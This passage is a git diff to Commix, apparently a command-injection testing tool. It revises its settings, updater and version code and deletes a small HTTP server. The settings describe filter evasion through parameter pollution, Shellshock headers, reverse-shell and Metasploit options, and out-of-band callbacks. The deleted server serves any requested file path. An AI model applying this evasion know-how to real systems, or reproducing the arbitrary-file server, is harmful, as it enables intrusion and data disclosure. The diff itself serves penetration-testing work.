"iso-8859-1", + "euc_tw" : "big5_tw", "th" : "tis-620", "unicode" : "utf8", "utc8" : "utf8", "ebcdic" : "ebcdic-cp-be", + "iso-8859" : "iso8859-1", "iso-8859-0" : "iso8859-1", "ansi" : "ascii", "gbk2312" : "gbk", + "windows-31j" : "cp932", "en" : "us" +} + +BROTLI_DECODER = _brotli +ZSTD_DECODER = _zstd +HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" + (",br" if _brotli is not None else "") + (",zstd" if _zstd is not None else "") +# What is asked for instead, once a page has come back as something other than what it declared. +HTTP_ACCEPT_ENCODING_IDENTITY = "identity" +PAGE_COMPRESSION = True +# The most a page is decompressed into: a small response can name a very large one, and reading it +# whole is how a target with nothing to hide empties this machine's memory. +MAX_PAGE_SIZE = 100 * 1024 * 1024 + +# The web server named by the 'Server' header, and the ones that are recognised. +SERVER_BANNER = "" -# Regular expression used for ignoring some special chars -IGNORE_SPECIAL_CHAR_REGEX = "[^/(A-Za-z0-9.:,_]+" +""" +Which of several same-named parameters an application reads, by the platform serving it. -PERFORM_CRACKING = False +Sending a parameter twice is only an evasion where the two are read by different things: a filter +looking at one occurrence, and the application at another. Which one the application takes is the +platform's to decide, so where the banner says what is serving the page, that is what decides where +the payload goes - and where it says nothing, the payload goes last, which is what the most commonly +tested platforms read. +""" +HPP_LAST_WINS = ("php", "nginx", "rails", "ruby", "apache") +HPP_FIRST_WINS = ("jsp", "tomcat", "jetty", "coldfusion", "java") +HPP_CONCATENATES = ("asp", "asp.net", "aspx", "iis") + +# Said once for the run, however many parameters are polluted. +HPP_POSITION_SAID = False + +# Said once for the run, however many connections try to present the certificate. +PKI_FAILURE_SAID = False +# The version that server named for itself, where it named one. +SERVER_VERSION = "" +SERVER_BANNERS = [ + "Microsoft-IIS", + # Ahead of the bare "Apache" below: Tomcat names itself with it, and keeps its own document root. + r"Apache[ -](?:Tomcat|Coyote)/?([\w\.]+)?", + "Apache", + r"Nginx/([\w\.]+)", + r"Jetty\(?([\w\.]+)?\)?", + r"Caddy", + r"GWS/([\w\.]+)", + r"lighttpd/([\w\.]+)", + r"openresty/([\w\.]+)", + r"LiteSpeed/([\w\.]+)", + r"Sun-ONE-Web-Server/([\w\.]+)" +] + +# HTTP Headers +HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ] +SHELLSHOCK_HTTP_HEADERS =[ COOKIE, USER_AGENT, REFERER ] + +# Where a payload is carried, named by whatever dispatched the parameter rather than worked out +# from its name - a body field called 'host' is a body field, not the header it shares a name with. +CUSTOM_HEADER_PLACE = "(custom) HEADER" +HTTP_HEADER_PLACES = [ USER_AGENT, REFERER, HOST, CUSTOM_HEADER_PLACE ] -PAGE_COMPRESSION = None +# The names a standard header answers to, so '-p'/'--skip' can name one as it is written. +HTTP_HEADER_ALIASES = { + USER_AGENT : ( "ua", "useragent", "user-agent" ), + REFERER : ( "ref", "referer", "referrer" ), + HOST : ( "host", ), + } + +IGNORE_JSON_CHAR_REGEX = r"[{}\"\[\]]" + +FLATTEN_JSON_SEPARATOR = ''.join(random.choice("{}") for _ in range(10)) + "_" +JSON_ENUMERATION_STARTED = False + +PERFORM_CRACKING = False # Force usage of given HTTP method (e.g. PUT). HTTP_METHOD = "" -# eof \ No newline at end of file +DECLARED_COOKIES = "" + +MULTI_TARGETS = False + +# Identified Redirect code +REDIRECT_CODE = "" + +# Base64 padding +BASE64_PADDING = "==" + +# Crawling phase +CRAWLING = CRAWLING_PHASE = False +CRAWLED_SKIPPED_URLS_NUM = 0 +CRAWLED_URLS_NUM = 0 +CRAWLED_URLS_INJECTED = [] +SKIP_VULNERABLE_HOST = None + +# Skipped crawled hrefs +HREF_SKIPPED = [] + +# Abort on (problematic) HTTP error code (e.g. 401). +ABORT_CODE = [] + +# Ignore on (problematic) HTTP error code (e.g. 401). +IGNORE_CODE = [] + +# What '--ignore-code' is given to mean every code rather than a list of them - a target answering +# with a different error for each of several reasons is one nobody wants to enumerate by hand. +IGNORE_CODE_WILDCARD = "*" +# HTTP error codes already warned about, kept apart from what the user chose to ignore. +WARNED_HTTP_ERROR_CODES = set() + +# Default crawling depth +DEFAULT_CRAWLING_DEPTH = 1 + +# Matches a "key=" pair with an empty value in a query/POST-data string, bounded by '&' or start/end. +EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=&]+=)(?=&|\Z)' + +SITEMAP_CHECK = None + +SITEMAP_XML_FILE = "sitemap.xml" + +FOLLOW_REDIRECT = True + +# Set predefined answers (e.g. "quit=N,follow=N"). +ANSWERS = "" + +CHECKING_PARAMETER = "" + +# Run host OS command(s) when injection point is found. +ALERT = False + +PCRE_MODIFIER = "/e" + + +""" +State that belongs to the run and not to any one target: what the user asked for on the command +line, what has already been answered once and should not be asked again, and the tallies kept +across every target. Everything else is taken back to what it held before the first target, so +that nothing worked out about one target is read as true of the next. A new name is per-target +unless it is listed here - the omission that used to leak is now the safe direction. +""" +RUN_WIDE_STATE = frozenset(( + # Asked for on the command line, or worked out from it before any target was touched. + "ABORT_CODE", "ALERT", "ANSWERS", "CHECK_FOR_UPDATES_ON_START", "CHECK_INTERNET", + "CHECK_INTERNET_ADDRESS", "CLI_HISTORY", "CONNECTION_ERROR_RETRIES", "COOKIE_PARAM_DELIMITER", + "DEFAULT_CODEC", "DEFAULT_CRAWLING_DEPTH", "DEFAULT_PAGE_ENCODING", "DELAY", "EXTRA_HTTP_HEADERS", + "HTTP_METHOD", "IGNORE_CODE", "INJECT_TAG", "KEEP_ALIVE", "LHOST", "LINUX_PYTHON_INTERPRETER", + "LPORT", "MAXLEN", "MAX_RETRIES", "METASPLOIT_PATH", "OOB_IGNORE_TIMEOUT", "OOB_POLL_INTERVAL", + "OOB_PORT", "OOB_SCHEME", "OOB_SERVER", "OOB_TOKEN", "OOB_TRANSPORT", "PERFORM_CRACKING", + "POST_CUSTOM_INJECTION_MARKER_CHAR", "PRE_CUSTOM_INJECTION_MARKER_CHAR", "RAW_HTTP_HEADERS", + "REPORT_JSON", "REPORT_STARTED", "REPORT_TARGETS", "RHOST", "SKIP_CALC", "SKIP_SUBST", "SKIP_PARAMETERS_LIST", "SKIP_TECHNIQUES", "SRVPORT", + "THREADS", "TIMEOUT", "TMP_PATH", "TOR_HTTP_PROXY_PORT", "URIPATH", "URL_PARAM_DELIMITER", + "URL_RELOAD", "USER_DEFINED_PHP_DIR", "USER_DEFINED_PYTHON_DIR", "USER_DEFINED_PYTHON_INTERPRETER", + "VERBOSITY_LEVEL", "WIN_PHP_DIR", "WIN_PYTHON_INTERPRETER", + "USER_APPLIED_AUTH_CRED", "USER_APPLIED_AUTH_TYPE", "USER_APPLIED_CMD", "USER_APPLIED_COOKIE", + "USER_APPLIED_DATA", "USER_APPLIED_LEVEL", "USER_APPLIED_MODULE", "USER_APPLIED_RETRIES", + "USER_APPLIED_TAMPER", + "USER_APPLIED_TECHNIQUE", "USER_APPLIED_WEB_ROOT", "USER_APPLIED_INTERPRETER", + "USER_APPLIED_TIMESEC", "USER_APPLIED_TMP_PATH", + # Answered once by the user, and not worth asking again for every target. The four retry consents + # belong here for the reason the WAF/IPS one does: each asks whether to pay for another pass around + # an obstacle, and an answer given once covers every target the same way, since what is being + # answered is whether that pass is worth its cost at all. + "ADJUST_TIME_DELAY_CHOICE", "BACKTICK_RETRY_CHOICE", "DASHLESS_RETRY_CHOICE", + "FILE_BASED_NARROWING_CHOICE", "PRINTER_RETRY_CHOICE", + "IGNORE_IDENTIFIED_TARGET_OS", "IGNORE_NOT_FOUND", "NOT_FOUND_PROMPTED", "UNSTABLE_PROMPTED", + "RECOGNISE_OS", "REPLACE_VALUE_RETRY_CHOICE", "THREADED_TIME_RETRIEVAL_CHOICE", + "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", "WHITESPACE_RETRY_CHOICE", + # Counted or noted for the run as a whole. + "CRAWLED_SKIPPED_URLS_NUM", "CRAWLED_URLS_INJECTED", "CRAWLED_URLS_NUM", "CRAWLING", + "CRAWLING_PHASE", "ENUMERATION_DONE", "FILE_ACCESS_DONE", "REGISTRY_ACCESS_DONE", "HANDLER", "HREF_SKIPPED", + # 'LAST_LOG_GROUP', 'LAST_LOGGED_PARAMETER' and 'LOGGED_FINDINGS_HEADER' are deliberately absent: + # each target writes a log file of its own, so what has already been written to one says nothing + # about the next, and carried over they cost the second its header and its parameter line. + "HTTP_ERROR_CODES_SUM", "IDENTIFIED_WARNINGS", "INIT_TEST", "LAST_DOT_BUCKET", + "LAST_SELECTED_MODULE", "LIKELY_RESUME", + "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", + "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", + "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", "TEST_FILTER", "TEST_SKIP", + "PREPROCESS_FUNCTIONS", "POSTPROCESS_FUNCTIONS", + "BOOLEAN_THREADS_SUGGESTED", "TEMPFILE_ORACLE_ANNOUNCED", "TEMPFILE_TIME_FALLBACK_ANNOUNCED", "HPP_POSITION_SAID", "PKI_FAILURE_SAID", "REPLAY_NOTICES_SAID", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", + "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", + # Set by the connection to whichever target is in hand, before this reset can be reached. + "HOSTNAME", "SCHEME", "TARGET_NETLOC", "TARGET_URL", +)) + +""" +Options a target's own testing can change - a stored session replaces them, a technique settles a +directory - and which the next target is entitled to see as the user left them. +""" +RESTORED_OPTIONS = ("cookie", "data", "tamper", "os", "web_root", "tmp_path", "timesec", + "auth_cred", "auth_type", "level", "tech") + +_TARGET_STATE_BASELINE = {} +_OPTIONS_BASELINE = {} +# Only values that can be copied without carrying a live object along with them. +_COPYABLE = (str, int, float, bool, type(None), list, dict, set, tuple, frozenset) + +""" +Take the per-target state back to what it was before the first target was touched. The first call +records that baseline - at that point nothing has been learned yet - and every call after it +restores. Names listed in 'RUN_WIDE_STATE' are left alone. +""" +def reset_target_state(options=None): + import copy + if not _TARGET_STATE_BASELINE: + for name, value in list(globals().items()): + if not name.isupper() or name.startswith("_") or name in RUN_WIDE_STATE: + continue + if not isinstance(value, _COPYABLE): + continue + try: + _TARGET_STATE_BASELINE[name] = copy.deepcopy(value) + except Exception: + continue + if options is not None: + for name in RESTORED_OPTIONS: + if hasattr(options, name): + _OPTIONS_BASELINE[name] = copy.deepcopy(getattr(options, name)) + return + + for name, value in _TARGET_STATE_BASELINE.items(): + globals()[name] = copy.deepcopy(value) + if options is not None: + for name, value in _OPTIONS_BASELINE.items(): + setattr(options, name, copy.deepcopy(value)) + +# eof diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py deleted file mode 100644 index 9622665eaa..0000000000 --- a/src/utils/simple_http_server.py +++ /dev/null @@ -1,114 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -import errno -import socket -from os import curdir, sep -from src.utils import menu -from src.utils import settings -from socket import error as socket_error -from src.thirdparty.colorama import Fore, Back, Style, init -from src.thirdparty.six.moves import _thread as thread -from src.thirdparty.six.moves import socketserver as _socketserver -from src.thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer - -""" -Validates IPv4 addresses. -""" -def is_valid_ipv4(ip_addr): - pattern = re.compile(r""" - ^ - (?: - # Dotted variants: - (?: - # Decimal 1-255 (no leading 0's) - [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} - | - 0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's) - | - 0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's) - ) - (?: # Repeat 0-3 times, separated by a dot - \. - (?: - [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} - | - 0x0*[0-9a-f]{1,2} - | - 0+[1-3]?[0-7]{0,2} - ) - ){0,3} - | - 0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff - | - 0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777 - | - # Decimal notation, 1-4294967295: - 429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}| - 42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}| - 4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8} - ) - $ - """, re.VERBOSE | re.IGNORECASE) - return pattern.match(ip_addr) is not None - -def grab_ip_addr(): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.connect(("8.8.8.8",53)) - s.settimeout(2) - ip_addr = s.getsockname()[0] - s.close() - return ip_addr - except socket_error as err_msg: - if errno.ECONNREFUSED: - warn_msg = "Internet seems unreachable." - print(settings.print_warning_msg(warn_msg)) - else: - print(settings.print_critical_msg(str(err_msg)) + "\n") - raise SystemExit() - -class Handler(_BaseHTTPServer.BaseHTTPRequestHandler): - def do_GET(self): - try: - #Open the static file requested and send it - f = open(self.path) - self.send_response(200) - self.end_headers() - self.wfile.write(f.read()) - f.close() - - except IOError: - self.wfile.write(settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)") - - def log_message(self, format, *args): - return - -class ReusableTCPServer(_socketserver.TCPServer): - allow_reuse_address = True - -def main(): - try: - connection_refused = False - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - except socket_error: - if errno.ECONNREFUSED: - connection_refused = True - if connection_refused == False: - # Start the server in a background thread. - httpd = ReusableTCPServer(('', settings.LOCAL_HTTP_PORT), Handler) - thread.start_new_thread(httpd.serve_forever, ()) diff --git a/src/utils/update.py b/src/utils/update.py index 8b65fc41a6..dda5e26812 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -15,248 +15,150 @@ import re import os -import sys -import time import subprocess -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.utils import requirments -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init +from src.utils import requirements +from src.utils import common +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Style """ Check for updates (apply if any) and exit! """ """ -Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" +Where commix is installed, which is the repository to update. + +Taken from this file rather than from the working directory: run from inside some other checkout, +a command that reaches for 'the' repository would otherwise reach for that one instead. +""" +def _install_path(): + return os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + """ -def revision_num(): +The revision the install now sits at, shortened the way git itself shows it. +""" +def _revision_number(root): try: - start = 0 - end = 0 - start = time.time() - process = subprocess.Popen("git reset --hard HEAD && git clean -fd && git pull", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, cwd=root) stdout, _ = process.communicate() - if settings.VERBOSITY_LEVEL == 0: - info_msg = ('Updated to', 'Already at')["Already" in stdout] - process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - # Delete *.pyc files. - subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait() - # Delete empty directories and files. - subprocess.Popen("find . -empty -type d -delete", shell=True).wait() - if settings.VERBOSITY_LEVEL == 0: - stdout, _ = process.communicate() - match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") - rev_num = match.group(0) if match else None - info_msg += " the latest revision '" + str(rev_num[:7]) + "'." - print(settings.SINGLE_WHITESPACE) - else: - sys.stdout.write(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) - end = time.time() - how_long = int(end - start) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." - print(settings.print_info_msg(info_msg)) - except: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() + match = re.search(r"(?i)[0-9a-f]{40}", stdout.decode(settings.DEFAULT_CODEC, errors="replace")) + return match.group(0)[:7] if match else None + except Exception: + return None + +""" +Anything the pull leaves behind that is no longer part of the tree. +""" +def _clean_up(root): + for command in ("find . -name \"*.pyc\" -delete", "find . -empty -type d -delete"): + try: + subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=root).wait() + except Exception: + pass """ The commix's updater. """ def updater(): - time.sleep(1) - info_msg = "Checking requirements to update " - info_msg += settings.APPLICATION + " from GitHub repository. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if menu.options.offline: - print(settings.SINGLE_WHITESPACE) - err_msg = "You cannot update commix via GitHub without access on the Internet." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check if windows - if settings.IS_WINDOWS: - print(settings.SINGLE_WHITESPACE) - err_msg = "For updating purposes on Windows platform, it's recommended " - err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if menu.options.offline: + err_msg = "You cannot update " + settings.APPLICATION + " via GitHub without access to the Internet." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + root = _install_path() + if not os.path.isdir(os.path.join(root, ".git")): + err_msg = "Not a valid git repository. Please clone the '" + settings.APPLICATION + "' repository " + err_msg += "from GitHub (e.g. 'git clone --depth 1 " + settings.GIT_URL + " " + settings.APPLICATION + "')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if not requirements.do_check("git"): + err_msg = "The 'git' command was not found." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + info_msg = "Updating " + settings.APPLICATION + " to the latest development revision from the GitHub repository." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = settings.APPLICATION.capitalize() + " will try to update itself using the 'git' command." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + output = "" + success = False + try: + # What the working tree holds is restored, not discarded: a pull needs the tracked files back as + # they were, and everything else in the directory is the user's own business. + process = subprocess.Popen("git checkout . && git pull " + settings.GIT_URL + " HEAD", shell=True, + stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=root) + stdout, _ = process.communicate() + output = stdout.decode(settings.DEFAULT_CODEC, errors="replace") + success = not process.returncode + except Exception as err: + output = str(err) + + if settings.VERBOSITY_LEVEL != 0 and output: + settings.print_data_to_stdout(Fore.MAGENTA + settings.END_LINE.LF + output + Style.RESET_ALL) + + if success: + _clean_up(root) + revision = _revision_number(root) + info_msg = ("Already at" if "Already" in output else "Updated to") + " the latest revision" + info_msg += (" '" + revision + "'." if revision else ".") + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: - try: - requirment = "git" - # Check if 'git' is installed. - requirments.do_check(requirment) - if requirments.do_check(requirment) == True : - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "commix will try to update itself using '" + requirment + "' command." - print(settings.print_debug_msg(debug_msg)) - # Check if ".git" exists! - if os.path.isdir("./.git"): - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " - info_msg += "version. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - revision_num() - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '.git' directory not found. Do it manually: " - err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL - err_msg += " " + settings.APPLICATION + "' " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - print(settings.SINGLE_WHITESPACE) - err_msg = requirment + " not found." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except Exception as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() + # Git says what went wrong on one line and then offers pages of advice about it - the line is + # what the reason is, so it is the line that is reported. + reason = "" + for line in output.splitlines(): + if line.lower().startswith(("fatal:", "error:")): + reason = line.split(":", 1)[1].strip() + break + if not reason: + reason = re.sub(r"\s+", settings.SINGLE_WHITESPACE, output).strip() + err_msg = "The update could not be completed ('" + reason[:settings.MAX_UPDATE_REASON_LENGTH] + "')." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if settings.IS_WINDOWS: + info_msg = "For updating purposes on the Windows platform, it is recommended to use a GitHub " + info_msg += "client for Windows (https://desktop.github.com/), or to download the latest " + info_msg += "snapshot from " + settings.GIT_URL.replace(".git", "") + "/releases." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + raise SystemExit() """ Check for new version of commix """ def check_for_update(): try: - response = _urllib.request.urlopen('https://raw.githubusercontent.com/commixproject/commix/master/src/utils/settings.py', timeout=settings.TIMEOUT) - version_check = response.readlines() + response = _urllib.request.urlopen('https://raw.githubusercontent.com/commixproject/commix/master/src/utils/settings.py', timeout=settings.TIMEOUT, context=settings.verified_context()) + try: + version_check = response.readlines() + finally: + response.close() for line in version_check: - line = line.rstrip() + # readlines() returns bytes - decode before comparing/matching as text. + line = line.decode(settings.DEFAULT_CODEC, errors="replace").rstrip() if "VERSION_NUM = " in line: update_version = line.replace("VERSION_NUM = ", "").replace("\"", "") - break - if (int(settings.VERSION_NUM.replace(".","")[:2]) < int(update_version.replace(".","")[:2])) or \ - ((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \ - int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])): - while True: - if not menu.options.batch: - question_msg = "Do you want to update to the latest version now? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" - if do_update in settings.CHOICE_YES: - updater() - elif do_update in settings.CHOICE_NO: - break - else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except KeyboardInterrupt: - raise - except: - pass - -""" -The updater for the unicorn tool -""" -def unicorn_updater(current_version): - APPLICATION_NAME = "TrustedSec's Magic Unicorn" - info_msg = "Checking requirements to update " - info_msg += APPLICATION_NAME + " from GitHub repository. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if menu.options.offline: - print(settings.SINGLE_WHITESPACE) - err_msg = "You cannot update TrustedSec's Magic Unicorn " - err_msg += "via GitHub without access on the Internet." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check if windows - if settings.IS_WINDOWS: - print(settings.SINGLE_WHITESPACE) - err_msg = "For updating purposes on Windows platform, it's recommended " - err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - try: - requirment = "git" - # Check if 'git' is installed. - requirments.do_check(requirment) - if requirments.do_check(requirment) == True : - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if len(current_version) == 0: - unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) - os.chdir(unicorn_path) - else: - os.chdir("../") - subprocess.Popen("rm -rf unicorn", shell=True).wait() - info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) " - info_msg += "version. " - subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() - os.chdir("unicorn") - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - revision_num() - else: - print(settings.SINGLE_WHITESPACE) - err_msg = requirment + " not found." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except Exception as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check the latest version of unicorn -""" -def check_unicorn_version(current_version): - try: - if len(current_version) != 0: - response = _urllib.request.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=settings.TIMEOUT) - latest_version = response.readlines() - for line in latest_version: - line = line.rstrip() - if "Magic Unicorn Attack Vector v" in line: - latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") - break - - if len(current_version) == 0 or \ - (int(current_version.replace(".","")[:2]) < int(latest_version.replace(".","")[:2])) or \ - ((int(current_version.replace(".","")[:2]) == int(latest_version.replace(".","")[:2])) and \ - int(current_version.replace(".","")[2:]) < int(latest_version.replace(".","")[2:])): - - if len(current_version) != 0: - warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." - print(settings.print_warning_msg(warn_msg)) - else: - warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." - print(settings.print_warning_msg(warn_msg)) + break + if (int(settings.VERSION_NUM.replace(".", "")[:2]) < int(update_version.replace(".", "")[:2])) or \ + ((int(settings.VERSION_NUM.replace(".", "")[:2]) == int(update_version.replace(".", "")[:2])) and \ + int(settings.VERSION_NUM.replace(".", "")[2:]) < int(update_version.replace(".", "")[2:])): while True: - if not menu.options.batch: - if len(current_version) == 0: - action = "install" - else: - action = "update to" - question_msg = "Do you want to " + action + " the latest version now? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to update to the latest version now? [Y/n] " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - unicorn_updater(current_version) + updater() elif do_update in settings.CHOICE_NO: break else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass - except KeyboardInterrupt: raise - except: + except Exception: pass -# eof \ No newline at end of file +# eof diff --git a/src/utils/version.py b/src/utils/version.py index 0dd0a1da39..48422d0dce 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,24 +13,55 @@ For more see the file 'readme/COPYING' for copying permission. """ +import os import sys +import time from src.utils import settings """ Show version number and exit. """ def show_version(): - print(settings.VERSION) + settings.print_data_to_stdout(settings.VERSION) raise SystemExit() +""" +How long this install has gone without being updated, in whole days. + +Taken from when the file holding the version was last written, which an update rewrites - so what +is measured is the install itself rather than anything a server would have to be asked for. None +where that cannot be read at all, which is a copy that says nothing about its own age rather than +one that is up to date. +""" +def days_since_update(): + try: + return int(time.time() - os.path.getmtime(os.path.abspath(settings.__file__.replace(".pyc", ".py")))) // (3600 * 24) + except (OSError, AttributeError, TypeError): + return None + +""" +Said at the end of the run, where what it is about is the install rather than the target. +""" +def announce_if_outdated(): + days = days_since_update() + if days is None or days <= settings.LAST_UPDATE_NAGGING_DAYS: + return + warn_msg = "This copy of " + settings.APPLICATION + " was last updated " + str(days) + warn_msg += " days ago. Run it with the '--update' switch to bring it up to date." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Check python version number. """ def python_version(): PYTHON_VERSION = sys.version.split()[0] - if PYTHON_VERSION >= "3" or PYTHON_VERSION < "2.7": - warn_msg = "Python version " - warn_msg += PYTHON_VERSION + " detected. " - warn_msg += "You are advised to use Python version 2.7.x." - print("\n" + settings.print_bold_warning_msg(warn_msg)) - #raise SystemExit() + if PYTHON_VERSION.split(".")[0] != "3": + err_msg = "Unsupported Python version detected: " + err_msg += PYTHON_VERSION + ". " + err_msg += settings.APPLICATION + " requires Python 3.7 or later." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Exits non-zero: a caller that cannot tell this apart from a finished run - a CI job, or any + # script around commix - would otherwise read the wrong interpreter as a successful one. + raise SystemExit(1) + +# eof diff --git a/src/core/injections/blind/techniques/__init__.py b/tests/__init__.py similarity index 86% rename from src/core/injections/blind/techniques/__init__.py rename to tests/__init__.py index b50e6972c9..b1a0972139 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/tests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -12,5 +12,3 @@ For more see the file 'readme/COPYING' for copying permission. """ - -pass \ No newline at end of file diff --git a/tests/_testutils.py b/tests/_testutils.py new file mode 100644 index 0000000000..69de3a1fee --- /dev/null +++ b/tests/_testutils.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 